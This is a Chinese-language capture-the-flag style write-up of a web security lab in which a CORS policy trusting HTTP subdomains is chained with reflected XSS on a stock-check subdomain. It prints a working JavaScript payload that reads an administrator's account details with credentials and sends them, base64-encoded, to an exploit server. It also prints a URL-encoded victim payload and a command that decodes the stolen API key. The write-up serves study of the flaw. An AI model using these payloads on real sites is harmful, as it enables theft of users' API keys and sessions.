> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cors/cors-with-trusted-insecure-protocols.md).

# 信任不安全协议的 CORS

### 存在受信任的不安全协议的 CORS 漏洞

该站点存在有漏洞的 CORS 配置：它信任所有 **子域**，即使使用 **HTTP**。目标是通过 CORS 获取管理员的 API 密钥，并将其提取到利用服务器。

提供的凭据： `wiener:peter`。该站点存在有漏洞的 CORS 配置：它信任所有 **子域**，即使使用 **HTTP**。目标是通过 CORS 获取管理员的 API 密钥，并将其提取到利用服务器。

提供的凭据： `wiener:peter`.

#### 观察

* 根域名可被接受于 **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/b9e7119d50e5654285c1c7c854d2fb67bd51f4e2" alt=""><figcaption></figcaption></figure>

**子域** 在 HTTP 中也可被接受：

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/aff75267fae2134b794317fdc808c92e6c3eaf73" alt=""><figcaption></figcaption></figure>

通过 stockcheck 识别出的子域：

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="/files/a4799d976195819ce931e866fc0a8d7ab823ec05" alt=""><figcaption></figcaption></figure>

此项会反映 `productId` → \*\*HTML/JS\*\* 注入可能：

```html
?productId=test&storeId=1
```

<figure><img src="/files/1429b27dd6e96b9290eec3a382eca9f12442ccd0" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="/files/2039b44c74c93d87c13a14c46f949ac5d6c22ccb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4a04ecbabc60ff28e6c13a15e2826e80c1363dbd" alt=""><figcaption></figcaption></figure>

#### 利用：读取 `/accountDetails` 和外传

使用的 XHR 脚本（通过子域发送）：

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

将脚本注入到 `productId` 有漏洞子域的参数中：

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

重定向到用于利用的 URL，使用 `apiKey` 变量，其中包含编码后的响应。

<figure><img src="/files/8f834da1a9c79414f182c71a82906cb1651e7498" alt=""><figcaption></figcaption></figure>

#### 发送给受害者的有效载荷（URL 编码版本）

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* 在服务器上接收 API 密钥，以通过该 `apiKey` 参数进行利用。

<figure><img src="/files/40ac6b1a1e0cdc702d0fa524480fb4204de48178" alt=""><figcaption></figcaption></figure>

* 使用以下命令解码：

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="/files/edb353208e2271d8ec049f46df9530b0f99cfd13" alt=""><figcaption></figcaption></figure>


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